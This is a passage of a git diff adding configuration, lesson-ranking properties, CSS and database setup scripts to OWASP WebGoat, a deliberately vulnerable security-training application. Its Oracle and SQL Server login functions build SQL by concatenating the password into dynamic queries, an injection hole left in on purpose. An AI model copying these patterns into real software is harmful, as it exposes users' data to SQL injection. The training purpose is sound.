org.owasp.webgoat.HammerHead + + + debug + false + + + + CookieDebug + true + + + + DefuseOSCommands + false + + + + Enterprise + true + + + + CodingExercises + true + + + + + + + FeedbackAddress + + <A HREF=mailto:webgoat@owasp.org>webgoat@owasp.org</A> + + + + + DatabaseDriver + + org.hsqldb.jdbcDriver + + + + + DatabaseConnectionString + + + jdbc:hsqldb:mem:${USER} + + + + + + 5 + + + + + + LessonSource + + This servlet returns the Java source of the current lesson. + + org.owasp.webgoat.LessonSource + + + + Catcher + + This servlet catches any posts and marks the appropriate lesson property. + + org.owasp.webgoat.Catcher + + + + conf + /lessons/ConfManagement/config.jsp + + + + + + AxisServlet + /servlet/AxisServlet + + + + AxisServlet + *.jws + + + + AxisServlet + /services/* + + + + SOAPMonitorService + /SOAPMonitor + + + + + + + WebGoat + /attack + + + + LessonSource + /source + + + + Catcher + /catcher + + + + conf + /conf + + + + + + + 2880 + + + + wmv + video/x-ms-wmv + + + + + + Link to the UserDatabase instance from which we request lists of + defined role names. Typically, this will be connected to the global + user database with a ResourceLink element in server.xml or the context + configuration file for the Manager web application. + + users + + org.apache.catalina.UserDatabase + + + + + + + + WebGoat Application + /* + + + webgoat_user + webgoat_admin + webgoat_challenge + + + + + + WebGoat Application Source + /JavaSource/* + + + server_admin + + + + + + + BASIC + WebGoat Application + + + + + The role that is required to administrate WebGoat + webgoat_admin + + + + The role that is required to start the challenge log viewer + webgoat_challenge + + + + The role that is required to use WebGoat + webgoat_user + + + + This role is for admins only + server_admin + + + + diff --git a/main/project/WebContent/WEB-INF/webgoat-class.properties b/main/project/WebContent/WEB-INF/webgoat-class.properties new file mode 100644 index 000000000..e8de6a179 --- /dev/null +++ b/main/project/WebContent/WEB-INF/webgoat-class.properties @@ -0,0 +1,58 @@ +category.General.ranking=11 +lesson.HttpBasics.ranking=10 +lesson.HttpSplitting.ranking=20 +lesson.ThreadSafetyProblem.ranking=30 + +category.Broken\ Authentication\ and\ Session\ Management.ranking=21 +lesson.BasicAuthentication.ranking=10 +lesson.WeakAuthenticationCookie.ranking=20 + +category.Broken\ Access\ Control.ranking=31 +lesson.AccessControlMatrix.ranking=10 +lesson.PathBasedAccessControl.ranking=20 +lesson.RoleBasedAccessControl.hidden=true + +category.Cross-Site\ Scripting\ (XSS).ranking=41 +lesson.StoredXss.ranking=10 +lesson.ReflectedXSS.ranking=20 +lesson.CSRF.ranking=30 +lesson.CrossSiteScripting.hidden=true + +category.Unvalidated\ Parameters.ranking=51 +lesson.HiddenFieldTampering.ranking=10 +lesson.JavaScriptValidation.ranking=20 +lesson.UncheckedEmail.ranking=30 + +category.Insecure\ Storage.ranking=61 +lesson.Encoding.ranking=10 + +category.Injection\ Flaws.ranking=71 +lesson.SqlNumericInjection.ranking=10 +lesson.SqlStringInjection.ranking=20 +lesson.CommandInjection.ranking=30 +lesson.LogSpoofing.ranking=40 +lesson.SQLInjection.hidden=true + +category.Improper\ Error\ Handling.ranking=81 +lesson.FailOpenAuthentication.ranking=10 + +category.Code\ Quality.ranking=91 +lesson.HtmlClues.ranking=10 + +category.Web\ Services.category.ranking=101 +lesson.SoapRequest.ranking=10 +lesson.WSDLScanning.ranking=20 +lesson.WsSqlInjection.ranking=30 + +category.New\ Lesson.category.ranking=111 +lesson.HowToAddNewLesson.ranking=10 + +lesson.WeakSessionID.hidden=true +lesson.BufferOverflow.hidden=true +lesson.BlindSqlInjection.hidden=true +lesson.DOS_Login.hidden=true +lesson.ForcedBrowsing.hidden=true +lesson.ForgotPassword.hidden=true +lesson.ParameterInjection.hidden=true +lesson.RemoteAdminFlaw.hidden=true +lesson.ChallengeScreen.hidden=true \ No newline at end of file diff --git a/main/project/WebContent/WEB-INF/webgoat-lab.properties b/main/project/WebContent/WEB-INF/webgoat-lab.properties new file mode 100644 index 000000000..95adfcacc --- /dev/null +++ b/main/project/WebContent/WEB-INF/webgoat-lab.properties @@ -0,0 +1,55 @@ +category.General.ranking=11 +lesson.HttpBasics.ranking=10 +lesson.HttpSplitting.ranking=20 +lesson.ThreadSafetyProblem.ranking=30 + +category.Broken\ Authentication\ and\ Session\ Management.ranking=21 +lesson.BasicAuthentication.ranking=10 +lesson.WeakAuthenticationCookie.ranking=20 + +category.Broken\ Access\ Control.ranking=31 +lesson.AccessControlMatrix.ranking=10 +lesson.PathBasedAccessControl.ranking=20 + +category.Cross-Site\ Scripting\ (XSS).ranking=41 +lesson.StoredXss.ranking=10 +lesson.ReflectedXSS.ranking=20 +lesson.CSRF.ranking=30 + +category.Unvalidated\ Parameters.ranking=51 +lesson.HiddenFieldTampering.ranking=10 +lesson.JavaScriptValidation.ranking=20 +lesson.UncheckedEmail.ranking=30 + +category.Insecure\ Storage.ranking=61 +lesson.Encoding.ranking=10 + +category.Injection\ Flaws.ranking=71 +lesson.SqlNumericInjection.ranking=10 +lesson.SqlStringInjection.ranking=20 +lesson.CommandInjection.ranking=30 +lesson.LogSpoofing.ranking=40 + +category.Improper\ Error\ Handling.ranking=81 +lesson.FailOpenAuthentication.ranking=10 + +category.Code\ Quality.ranking=91 +lesson.HtmlClues.ranking=10 + +category.Web\ Services.category.ranking=101 +lesson.SoapRequest.ranking=10 +lesson.WSDLScanning.ranking=20 +lesson.WsSqlInjection.ranking=30 + +category.New\ Lesson.category.ranking=111 +lesson.HowToAddNewLesson.ranking=10 + +lesson.WeakSessionID.hidden=true +lesson.BufferOverflow.hidden=true +lesson.BlindSqlInjection.hidden=true +lesson.DOS_Login.hidden=true +lesson.ForcedBrowsing.hidden=true +lesson.ForgotPassword.hidden=true +lesson.ParameterInjection.hidden=true +lesson.RemoteAdminFlaw.hidden=true +lesson.ChallengeScreen.hidden=true diff --git a/main/project/WebContent/WEB-INF/webgoat-owasp.properties b/main/project/WebContent/WEB-INF/webgoat-owasp.properties new file mode 100644 index 000000000..985d9dda0 --- /dev/null +++ b/main/project/WebContent/WEB-INF/webgoat-owasp.properties @@ -0,0 +1 @@ +#lesson.BufferOverflow.hidden=true diff --git a/main/project/WebContent/WEB-INF/webgoat.properties b/main/project/WebContent/WEB-INF/webgoat.properties new file mode 100755 index 000000000..985d9dda0 --- /dev/null +++ b/main/project/WebContent/WEB-INF/webgoat.properties @@ -0,0 +1 @@ +#lesson.BufferOverflow.hidden=true diff --git a/main/project/WebContent/WEB-INF/webgoat_oracle.sql b/main/project/WebContent/WEB-INF/webgoat_oracle.sql new file mode 100755 index 000000000..9894eb2a7 --- /dev/null +++ b/main/project/WebContent/WEB-INF/webgoat_oracle.sql @@ -0,0 +1,132 @@ +DROP USER webgoat_guest CASCADE; +CREATE USER webgoat_guest IDENTIFIED BY webgoat DEFAULT TABLESPACE users; +GRANT CONNECT, RESOURCE TO webgoat_guest; +GRANT CREATE PROCEDURE TO webgoat_guest; + +CREATE TABLE WEBGOAT_guest.EMPLOYEE ( + userid INT NOT NULL PRIMARY KEY, + first_name VARCHAR(20), + last_name VARCHAR(20), + ssn VARCHAR(12), + password VARCHAR(10), + title VARCHAR(20), + phone VARCHAR(13), + address1 VARCHAR(80), + address2 VARCHAR(80), + manager INT, + start_date CHAR(8), + salary INT, + ccn VARCHAR(30), + ccn_limit INT, + disciplined_date CHAR(8), + disciplined_notes VARCHAR(60), + personal_description VARCHAR(60) +); + + +CREATE OR REPLACE FUNCTION WEBGOAT_guest.EMPLOYEE_LOGIN(v_id NUMBER, v_password VARCHAR) RETURN NUMBER AS + stmt VARCHAR(32767);cnt NUMBER; +BEGIN + stmt := 'SELECT COUNT (*) FROM EMPLOYEE WHERE USERID = ' || v_id || ' AND PASSWORD = ''' || v_password || ''''; + EXECUTE IMMEDIATE stmt INTO cnt; + RETURN cnt; +END; +/ + +CREATE OR REPLACE FUNCTION WEBGOAT_guest.EMPLOYEE_LOGIN_BACKUP(v_id NUMBER, v_password VARCHAR) RETURN NUMBER AS + stmt VARCHAR(32767);cnt NUMBER; +BEGIN + stmt := 'SELECT COUNT (*) FROM EMPLOYEE WHERE USERID = ' || v_id || ' AND PASSWORD = ''' || v_password || ''''; + EXECUTE IMMEDIATE stmt INTO cnt; + RETURN cnt; +END; +/ + +CREATE OR REPLACE PROCEDURE WEBGOAT_guest.UPDATE_EMPLOYEE( + v_userid IN employee.userid%type, + v_first_name IN employee.first_name%type, + v_last_name IN employee.last_name%type, + v_ssn IN employee.ssn%type, + v_title IN employee.title%type, + v_phone IN employee.phone%type, + v_address1 IN employee.address1%type, + v_address2 IN employee.address2%type, + v_manager IN employee.manager%type, + v_start_date IN employee.start_date%type, + v_salary IN employee.salary%type, + v_ccn IN employee.ccn%type, + v_ccn_limit IN employee.ccn_limit%type, + v_disciplined_date IN employee.disciplined_date%type, + v_disciplined_notes IN employee.disciplined_notes%type, + v_personal_description IN employee.personal_description%type +) +AS +BEGIN + UPDATE EMPLOYEE + SET + first_name = v_first_name, + last_name = v_last_name, + ssn = v_ssn, + title = v_title, + phone = v_phone, + address1 = v_address1, + address2 = v_address2, + manager = v_manager, + start_date = v_Start_date, + salary = v_salary, + ccn = v_ccn, + ccn_limit = v_ccn_limit, + disciplined_date = v_disciplined_date, + disciplined_notes = v_disciplined_notes, + personal_description = v_personal_description + WHERE + userid = v_userid; +END; +/ + +CREATE OR REPLACE PROCEDURE WEBGOAT_guest.UPDATE_EMPLOYEE_BACKUP( + v_userid IN employee.userid%type, + v_first_name IN employee.first_name%type, + v_last_name IN employee.last_name%type, + v_ssn IN employee.ssn%type, + v_title IN employee.title%type, + v_phone IN employee.phone%type, + v_address1 IN employee.address1%type, + v_address2 IN employee.address2%type, + v_manager IN employee.manager%type, + v_start_date IN employee.start_date%type, + v_salary IN employee.salary%type, + v_ccn IN employee.ccn%type, + v_ccn_limit IN employee.ccn_limit%type, + v_disciplined_date IN employee.disciplined_date%type, + v_disciplined_notes IN employee.disciplined_notes%type, + v_personal_description IN employee.personal_description%type +) +AS +BEGIN + UPDATE EMPLOYEE + SET + first_name = v_first_name, + last_name = v_last_name, + ssn = v_ssn, + title = v_title, + phone = v_phone, + address1 = v_address1, + address2 = v_address2, + manager = v_manager, + start_date = v_Start_date, + salary = v_salary, + ccn = v_ccn, + ccn_limit = v_ccn_limit, + disciplined_date = v_disciplined_date, + disciplined_notes = v_disciplined_notes, + personal_description = v_personal_description + WHERE + userid = v_userid; +END; +/ + + +exit; + + diff --git a/main/project/WebContent/WEB-INF/webgoat_sqlserver.sql b/main/project/WebContent/WEB-INF/webgoat_sqlserver.sql new file mode 100644 index 000000000..eea05a7f6 --- /dev/null +++ b/main/project/WebContent/WEB-INF/webgoat_sqlserver.sql @@ -0,0 +1,226 @@ +EXEC sp_configure 'clr enabled', 1 +GO + +RECONFIGURE +GO + +USE master; + +go + +DROP LOGIN webgoat_guest; + +go + +DROP database webgoat; + +go + + +CREATE database webgoat; + +go + +USE webgoat; + +go + +CREATE SCHEMA webgoat_guest; + +go + +CREATE LOGIN webgoat_guest with password = '_webgoat'; + +go + +CREATE USER webgoat_guest with default_schema = webgoat_guest; + +go + +GRANT CONTROL TO webgoat_guest; + +go + + +CREATE TABLE WEBGOAT_guest.EMPLOYEE ( + userid INT NOT NULL PRIMARY KEY, + first_name VARCHAR(20), + last_name VARCHAR(20), + ssn VARCHAR(12), + password VARCHAR(10), + title VARCHAR(20), + phone VARCHAR(13), + address1 VARCHAR(80), + address2 VARCHAR(80), + manager INT, + start_date CHAR(8), + salary INT, + ccn VARCHAR(30), + ccn_limit INT, + disciplined_date CHAR(8), + disciplined_notes VARCHAR(60), + personal_description VARCHAR(60) +); + +go + +IF EXISTS +( + SELECT 1 + FROM INFORMATION_SCHEMA.ROUTINES + WHERE ROUTINE_NAME = 'UPDATE_EMPLOYEE' + AND ROUTINE_SCHEMA = 'webgoat_guest' + AND ROUTINE_TYPE = 'PROCEDURE' +) +BEGIN + DROP PROCEDURE webgoat_guest.UPDATE_EMPLOYEE + DROP PROCEDURE webgoat_guest.UPDATE_EMPLOYEE_BACKUP +END +GO + +CREATE PROCEDURE webgoat_guest.UPDATE_EMPLOYEE + @v_userid INT, + @v_first_name VARCHAR(20), + @v_last_name VARCHAR(20), + @v_ssn VARCHAR(12), + @v_title VARCHAR(20), + @v_phone VARCHAR(13), + @v_address1 VARCHAR(80), + @v_address2 VARCHAR(80), + @v_manager INT, + @v_start_date CHAR(8), + @v_salary INT, + @v_ccn VARCHAR(30), + @v_ccn_limit INT, + @v_disciplined_date CHAR(8), + @v_disciplined_notes VARCHAR(60), + @v_personal_description VARCHAR(60) +AS + UPDATE EMPLOYEE + SET + first_name = @v_first_name, + last_name = @v_last_name, + ssn = @v_ssn, + title = @v_title, + phone = @v_phone, + address1 = @v_address1, + address2 = @v_address2, + manager = @v_manager, + start_date = @v_Start_date, + salary = @v_salary, + ccn = @v_ccn, + ccn_limit = @v_ccn_limit, + disciplined_date = @v_disciplined_date, + disciplined_notes = @v_disciplined_notes, + personal_description = @v_personal_description + WHERE + userid = @v_userid; + +go + +CREATE PROCEDURE webgoat_guest.UPDATE_EMPLOYEE_BACKUP + @v_userid INT, + @v_first_name VARCHAR(20), + @v_last_name VARCHAR(20), + @v_ssn VARCHAR(12), + @v_title VARCHAR(20), + @v_phone VARCHAR(13), + @v_address1 VARCHAR(80), + @v_address2 VARCHAR(80), + @v_manager INT, + @v_start_date CHAR(8), + @v_salary INT, + @v_ccn VARCHAR(30), + @v_ccn_limit INT, + @v_disciplined_date CHAR(8), + @v_disciplined_notes VARCHAR(60), + @v_personal_description VARCHAR(60) +AS + UPDATE EMPLOYEE + SET + first_name = @v_first_name, + last_name = @v_last_name, + ssn = @v_ssn, + title = @v_title, + phone = @v_phone, + address1 = @v_address1, + address2 = @v_address2, + manager = @v_manager, + start_date = @v_Start_date, + salary = @v_salary, + ccn = @v_ccn, + ccn_limit = @v_ccn_limit, + disciplined_date = @v_disciplined_date, + disciplined_notes = @v_disciplined_notes, + personal_description = @v_personal_description + WHERE + userid = @v_userid; + +go + +IF EXISTS +( + SELECT 1 + FROM INFORMATION_SCHEMA.ROUTINES + WHERE ROUTINE_NAME = 'EMPLOYEE_LOGIN' + AND ROUTINE_SCHEMA = 'webgoat_guest' + AND ROUTINE_TYPE = 'FUNCTION' +) +BEGIN + DROP FUNCTION webgoat_guest.EMPLOYEE_LOGIN + DROP FUNCTION webgoat_guest.EMPLOYEE_LOGIN_BACKUP +END +GO + +CREATE FUNCTION webgoat_guest.EMPLOYEE_LOGIN ( + @v_id INT, + @v_password VARCHAR(100) +) RETURNS INTEGER +AS + BEGIN + DECLARE @sql nvarchar(4000), @count int + SELECT @sql = N'SELECT @cnt = COUNT(*) FROM EMPLOYEE WHERE USERID = ' + convert(varchar(10),@v_id) + N' AND PASSWORD = ''' + @v_password + N''''; + EXEC sp_executesql @sql, N'@cnt int OUTPUT', @cnt = @count OUTPUT + return @count + END +GO + +CREATE FUNCTION webgoat_guest.EMPLOYEE_LOGIN_BACKUP ( + @v_id INT, + @v_password VARCHAR(100) +) RETURNS INTEGER +AS + BEGIN + DECLARE @sql nvarchar(4000), @count int + SELECT @sql = N'SELECT @cnt = COUNT(*) FROM EMPLOYEE WHERE USERID = ' + convert(varchar(10),@v_id) + N' AND PASSWORD = ''' + @v_password + N''''; + EXEC sp_executesql @sql, N'@cnt int OUTPUT', @cnt = @count OUTPUT + return @count + END +GO + +IF EXISTS +( + SELECT 1 + FROM INFORMATION_SCHEMA.ROUTINES + WHERE ROUTINE_NAME = 'RegexMatch' + AND ROUTINE_SCHEMA = 'webgoat_guest' + AND ROUTINE_TYPE = 'FUNCTION' +) +BEGIN + DROP FUNCTION webgoat_guest.RegexMatch +END +GO + +IF EXISTS (SELECT name FROM sys.assemblies WHERE name = N'RegexMatch') + DROP ASSEMBLY RegexMatch; +GO + +CREATE ASSEMBLY RegexMatch FROM 'C:\AspectClass\Database\Labs\project\WebContent\WEB-INF\RegexMatch.dll' WITH PERMISSION_SET = SAFE; +GO + +CREATE FUNCTION webgoat_guest.RegexMatch ( +@input NVARCHAR(MAX), +@pattern NVARCHAR(MAX) +) RETURNS BIT +AS EXTERNAL NAME RegexMatch.[UserDefinedFunctions].RegexMatch; +GO diff --git a/main/project/WebContent/css/layers.css b/main/project/WebContent/css/layers.css new file mode 100644 index 000000000..dfcb405da --- /dev/null +++ b/main/project/WebContent/css/layers.css @@ -0,0 +1,2 @@ +#lessonTitle {position:absolute;left:94px;top:75px;width:690px;height:22px;z-index:1;float: right;font-size: 20px;color: #FFFFFF;} +#hMenuBar {position:absolute;left:245px;top:108px;width:538px;height:22px;z-index:2;} diff --git a/main/project/WebContent/css/lesson.css b/main/project/WebContent/css/lesson.css new file mode 100644 index 000000000..ba0229b96 --- /dev/null +++ b/main/project/WebContent/css/lesson.css @@ -0,0 +1,11 @@ +body.page {color: #000000;font-family: Verdana, Tahoma, sans-serif;font-size: 8pt;} +td {font-family: Verdana, Tahoma, sans-serif;font-size: 8pt; } +tr {font-family: Verdana, Tahoma, sans-serif;} +span {font-family: Verdana, Tahoma, sans-serif;} +.f8-0 {font-size: 8pt;font-family: Verdana, Tahoma, sans-serif;} +.f8-1 {font-size: 8pt;font-family: Verdana, Tahoma, sans-serif;} +.div_tree {padding-left:10px;overflow:visible;} +.report_tree_link {width:100%;font-size: 8pt;font-family: Verdana, Tahoma, sans-serif;margin-left:2px;padding-right:2px;margin-top:2px;border-spacing:0px;} +.form_link {font-size: 8pt;font-family: Verdana, Tahoma, sans-serif;font-weight: bold;} +.report_title {font-size: 8pt;font-family: Verdana, Tahoma, sans-serif;border: 1px solid #afafaf;background-color: #cfcfef;margin-top:3px;margin-bottom:3px;margin-left:1px;padding:3px;font-weight: bold;} +.middle {vertical-align:middle;} \ No newline at end of file diff --git a/main/project/WebContent/css/menu.css b/main/project/WebContent/css/menu.css new file mode 100644 index 000000000..0436f5aeb --- /dev/null +++ b/main/project/WebContent/css/menu.css @@ -0,0 +1,11 @@ +.pviimenudiv td {font-family: "Trebuchet MS", Arial, sans-serif; font-size: 10px} +.pviimenudiv p {font-family: "Trebuchet MS", Arial, sans-serif; font-size: 10px; margin-top: 12px; margin-bottom: 6px} +.pviimenudiv b {font-family: Verdana, Arial, Helvetica, sans-serif; font-style: normal; color: #666666} +.pviimenudiv a:link {color: #333333; text-decoration: underline} +.pviimenudiv a:visited {color: #0066FF; text-decoration: underline} +.pviimenudiv a:hover {color: red; text-decoration: underline} +.pviimenudiv a:active {color: #0066FF; text-decoration: underline} +.pviimenudivstage a:link {color: #333333; font-size: 9px; display: block; margin-left: 2em; } +.pviimenudivstage a:visited {color: #0066FF; font-size: 9px; display: block; margin-left: 2em; } +.pviimenudivstage a:hover {color: red; font-size: 9px; display: block; margin-left: 2em; } +.pviimenudivstage a:active {color: #0066FF; font-size: 9px; display: block; margin-left: 2em; } diff --git a/main/project/WebContent/css/webgoat.css b/main/project/WebContent/css/webgoat.css new file mode 100644 index 000000000..25d7eeaf9 --- /dev/null +++ b/main/project/WebContent/css/webgoat.css @@ -0,0 +1,274 @@ +body{ + min-width: 800px; + font-family: Arial,sans-serif; + color: #333333; + line-height: 1.166; + margin: 0px; + padding: 0px; +} + +a:link, a:visited, a:hover { + color: #666666; + text-decoration: none; +} + +a:hover { + text-decoration: underline; + color: red; +} + +h1, h2, h3, h4, h5, h6 { + font-family: Arial,sans-serif; + margin: 0px; + padding: 0px; +} + +h1{ + font-family: Verdana,Arial,sans-serif; + font-size: 120%; + color: #333333; +} + +h2{ + font-size: 114%; + color: #333333; +} + +h3{ + font-size: 100%; + color: #334d55; +} + +h4{ + font-size: 100%; + font-weight: normal; + color: #333333; +} + +h5{ + font-size: 100%; + color: #334d55; +} + +ul{ + list-style-type: square; +} + +ul ul{ + list-style-type: disc; +} + +ul ul ul{ + list-style-type: none; +} + +#navBar{ + margin: 0 79% 0 0; + padding: 0px; + background-color: #999999; +} + +#twoCol{ + margin: 0; + padding-left: 13px; +} + +#siteName{ + margin: 0px; + padding: 0px 0px 10px 10px; +} + +#lessonName{ + padding: 5px 0px 10px 10px; +} + +#globalNav{ + color: #cccccc; + padding: 0px 10px; + white-space: nowrap; +} + +#globalNav img{ + display: block; +} + +#globalNav a { + font-size: 10px; + padding: 0px 4px 0px 0px; +} + +.lessonContent{ + padding: 10px 10px 10px 10px; + font-size: 10px; +} + +.lessonText h3{ + padding: 30px 0px 5px 0px; + text-align: center; +} + +.lessonText img{ + float: left; + padding: 0px 10px 0px 0px; + margin: 0 5px 5px 0; +} + +#bottom{ + color: #999999; + clear: both; + font-size: 10px; + padding-top: 5px; +} + +#navBar ul a:link, #navBar ul a:visited {} + +#navBar ul { + list-style: none; + margin: 0; + padding: 0; +} + +/* hack to fix IE/Win's broken rendering of block-level anchors in lists */ +#navBar li {} + +/* fix for browsers that don't need the hack */ +html>body #navBar li {} + +#top{ + height:136px; + background-image: url(../images/header/header.jpg); + width: 800px; +} + +#top_challenge{ + height:136px; + width: 800px; +} + +#topLinks{ + position: relative; + margin: 0px; + padding: 0px; + font-size: small; +} + +#topLinks h3{ + padding: 10px 0px 2px 10px; +} + +#topLinks a:link{ + padding: 2px 0px 2px 10px; + width: 100%;voice-family: "\"}\""; + voice-family:inherit; + width: auto; +} + +#topLinks a:visited{ + border-top: 1px solid #cccccc; + padding: 2px 0px 2px 10px; +} + +#topLinks a:hover{ + background-color: #FFFFFF; + padding: 5px 2px 2px 10px; +} + +#menuSpacer { + float: left; + width: 225px; +} + +#lessonArea { + float: right; + width: 540px; + height: 100%; + padding: 10px; +} + +#wrap { + width: 800px; + word-wrap:break-word; /* Fixes IE wrapping issue */ +} + +#topRight { + position:absolute; + left:715px; + top:0px; + width:75px; + height:23px; + z-index:3; + float: right; +} + +#topRightInner { + position:absolute; + left:450px; + top:10px; + width:300px; + height:23px; + z-index:4; + float: right; +} + +.info { + color: red; + font-weight: bold; +} + +#reset { + text-align: right; + font-weight: bold; + margin-bottom: 10px; +} + +#hint{} +#parameter{} +#cookie{} +#message{ + margin-bottom: 20px; + margin-top: 10px; +} + +#lessonPlans { + border: 1px solid #000000; + background-color: #FFFFFF; + margin: 15px; + padding: 25px; + padding-bottom: 75px; +} + +#credits { + float: right; +} + +#start { + height: 390px; + width: 700px; + padding: 10px 50px 10px 50px; + font-size: 15px; +} +#warning { + border: 1px solid #666666; + padding: 10px; + font-size: 10px; + color: #FF3300; + width: 600px; + margin-left: 100px; + margin-right: 100px; +} +#team { + width: 580px; + margin-right: 50px; + margin-left: 50px; + padding-top: 5px; + padding-right: 10px; + padding-bottom: 5px; + padding-left: 10px; +} +.style1 { + font-size: 11px; + font-weight: bold; +} +.style2 { + font-size: 10px; +} \ No newline at end of file diff --git a/main/project/WebContent/css/webgoat_challenge.css b/main/project/WebContent/css/webgoat_challenge.css new file mode 100644 index 000000000..b72336e5a --- /dev/null +++ b/main/project/WebContent/css/webgoat_challenge.css @@ -0,0 +1,42 @@ +#bottom_ch{ + color: #999999; + clear: both; + font-size: 10px; + padding-top: 5px; +} + +#top_ch{ + height:86px; + width: 500px; +} + +#wrap_ch { + width: 500px; +} + +#credits_ch { + float: right; +} + +#start_ch { + height: 300px; + padding: 10px 50px 10px 50px; + font-size: 12px; +} +#warning_ch { + border: 1px solid #666666; + padding: 10px; + font-size: 10px; + color: #FF3300; + width: 400px; + margin-left: 50px; +} +#team_ch { +} +.style1_ch { + font-size: 10px; + font-weight: bold; +} +.style2_ch { + font-size: 10px; +} diff --git a/main/project/WebContent/database/database.prp b/main/project/WebContent/database/database.prp new file mode 100644 index 000000000..70115d276 --- /dev/null +++ b/main/project/WebContent/database/database.prp @@ -0,0 +1,365 @@ +!--------------------------------------------------------------------- +! +! BASIC PROPERTIES +! +!--------------------------------------------------------------------- + +! +! Path where index tables are held. Can be absolute or relative +! to the properties file. Defaults to tablePath. +! +indexPath=./indexes +! +! Path where system tables are held. Can be absolute or relative to +! the properties file. Defaults to tablePath. +! +systemPath=./system +! +! Path where database tables are held. Can be absolute or relative +! to the properties file. Defaults to "current" directory. +! +tablePath=./tables +! +! Path where results set tables are held. Can be absolute or relative +! to the properties file. Defaults to tablePath. +! +tmpPath=./tmp +! +! Non-zero means paths are relative to the properties file. +! Default is absolute paths for files. +! +relativeToProperties=1 +! +! Alternative partitions can be defined so that tables can be placed +! in multiple locations. Each partition is numbered: 1, 2, 3,... Tables +! can be created on partitions using the syntax +! +! CREATE TABLE ON PARTITION ... +! +! The partition count has to be supplied. +! +!partitionCount=2 +! +! The locations of each partition must be supplied. These are always +! absolute path names. +! +!partition1=d:/petes +!partition2=c:/temp + + +!--------------------------------------------------------------------- +! +! TUNING PROPERTIES +! +!--------------------------------------------------------------------- + +! +! The amount of each column to cache, expressed either as an absolute +! number of rows or as a percentage figure. Defaults to 256 or 10 respectively. +! +! This value applies only when tables are first created. It has no effect +! when a table is being re-opened. +! +cacheAmount=512 +! +! CACHE_ROWS Must be one of CACHE_ROWS or CACHE_PERCENT. Determines whether +! to cache columns in tables based on an absolute number of rows, or the +! percentage number of rows in the table. +! +! This value applies only when tables are first created. It has no effect +! when a table is being re-opened. +! +cacheCondition=CACHE_ROWS +! +! The amount of the system tables to be cached. Defaults to 100. +! +! This value applies only when tables are first created. It has no effect +! when a table is being re-opened. +! +!systemCacheSize=10 +! +! Similar to cacheCondition, but applies only to the system tables. +! +! This value applies only when tables are first created. It has no effect +! when a table is being re-opened. +! +!systemCacheCondition=CACHE_ROWS +! +! The percentage cache hit improvement required in order to move the +! cache to a new location in a column. +! +! (Currently not implemented). +! +cacheResetPercent=10 +! +! Non-zero means that database changes do not get written to the +! database immediately. See tuning.html. +! +fastUpdate=0 +! +! Percentage of free space in an index that must be present before +! the index reorganises itself. High values means frequent index +! reorganisation. Low values means slow index inserts. +! +indexLoad=5 +! +! The number of cache misses to include in calculations of the next +! base for the cache. +! +! (Currently not implemented). +! +missesInCacheStats=100 +! +! Non-zero means that results sets get instantiated on disk. By default +! InstantDB holds results sets emtirely in memory (apart from Binary +! columns). For large results sets this can be a problem. This property +! forces all results sets to be held on disk. +! +resultsOnDisk=0 +! +! Similar to cacheCondition but applies only to disk based +! results sets. Default is CACHE_ROWS. +! +resultsSetCache=CACHE_ROWS +! +! Similar to cacheAmount but applies only to disk based +! results sets. Default is 100. +! +resultsSetCacheAmount=100 +! +! Number of rows to read into the disk read ahead buffer. +! Recommended to be set somewhere around 128 to 256. +! Default is 20. +! +rowCacheSize=128 +! +! The read ahead buffer is effective at speeding up full +! table scans. However for indexed lookups or multiple +! simultaneous scans it is better to read a single row at +! a time. Each table holds a small number of single row +! buffers to improve such operations. Default is 8. +! +!singleRowCount=4 +! +! Sometimes the look ahead buffer can be held by a single +! thread even though it is not retrieveing many values from it. +! If too many lookups retrieve data from the single row +! buffers then it is better to flush the look ahead buffer and +! make it available for re-use. Default is 128. +! +!flushAfterCacheMisses=64 +! +! Number of rows to read ahead for system tables. By default +! system tables cache everything, so it is wasteful to have large +! read ahead buffers since they will very rarely be used. This +! allows the size of the system read ahead buffers to be reduced +! if necessary. Defaults to rowCacheSize. +! +!systemRows=20 +! +! The control column in all tables normally has a large cache +! since this speeds up all operation on that table. This can be +! varied to either improve performance or to reduce space. +! default is 8192. +! +! This value applies only when tables are first created. It has no effect +! when a table is being re-opened. +! +!controlColCacheSize=512 +! +! By default, InstantDB only does a cursory search for deleted rows during +! UPDATE statements. Setting searchDeletes=1 causes more detailed searches +! for deleted rows. This slows down UPDATE executions, but reults in more +! compact tables. Default is 0. +! +searchDeletes=0 +! +! The interval, in milliseconds, between checks for statement execution +! timeouts. Default is 5000. +! +!timerCheck=5000 +! +! The number of statements between checks on available memory. If set +! to 100 (say), then every 100 statements, InstantDB will check to +! see how much memory is still free. If too little is avilable (see +! below) then java.lang.System.gc() is called. +! +! If set to zero (the default) then no memory checking takes place. +! +!garbageCollectStatements=100 +! +! If InstantDB is performing period memory checks (see above) then +! this is the value in percent of available memory that must be +! used before System.gc() gets called. +! +!garbageCollectPercent=70 + +!--------------------------------------------------------------------- +! +! LOGGING AND DEBUGGING PROPERTIES +! +!--------------------------------------------------------------------- + +! +! Non-zero means include SQL statements in the export file. +! +exportSQL=0 +! +! Non-zero means trace output also directed to console. +! Defaults to 0. +! +traceConsole=1 +! +! Relative or absolute path where exporting and tracing goes. +! +! NOTE - A relative path is relative to the current Java +! runtime directory. It is *not* relative to this properties +! file. This is regardless of the relativeToProperties +! setting above. +! +traceFile=./trace.log +! +! Bitmap of various items that can be traced. See debug.html. +! Defaults to 0. +! +traceLevel=2 + +!--------------------------------------------------------------------- +! +! TRANSACTION AND RECOVERY PROPERTIES +! +!--------------------------------------------------------------------- + +! +! 0 means do not perform recovery on startup. +! 1 means perform automatic recovery +! 2 (default) means prompt the user using standard in +! +recoveryPolicy=1 +! +! Sets the level of transaction journalling. See trans.html. +! Defaults to 1. +! +! 0 - No journalling takes place. +! 1 - Normal journalling (default). +! 2 - Full journalling. +! +transLevel=1 +! +! When doing an import, defines the number of rows imported +! before the transaction is committed. Recommended value 8192. +! defaults to 100. +! +transImports=100 +! +! Sets the default transaction isolation level. This is a complex +! topic, but basically, the higher the level, the more locking +! goes on. The allowed values are: +! +! TRANSACTION_READ_UNCOMMITTED = 1 +! TRANSACTION_READ_COMMITTED = 2 +! TRANSACTION_REPEATABLE_READ = 4 +! TRANSACTION_SERIALIZABLE = 8 (default) +! +! SERIALIZABLE means that InstantDB takes exclusive access to all +! tables in a transaction until the transaction completes. Even if +! the transaction only performs reads. +! +! REPEATABLE_READ transactions takes read locks for SELECTs and +! write locks for everything else. All locks released on transaction +! completion. +! +! READ_COMMITTED transactions are the same as REPEATABLE_READ +! except that read locks get freed on statement completion. +! +! READ_UNCOMMITTED transactions do not take read locks. A result +! set can include data being modified by another transaction. +! 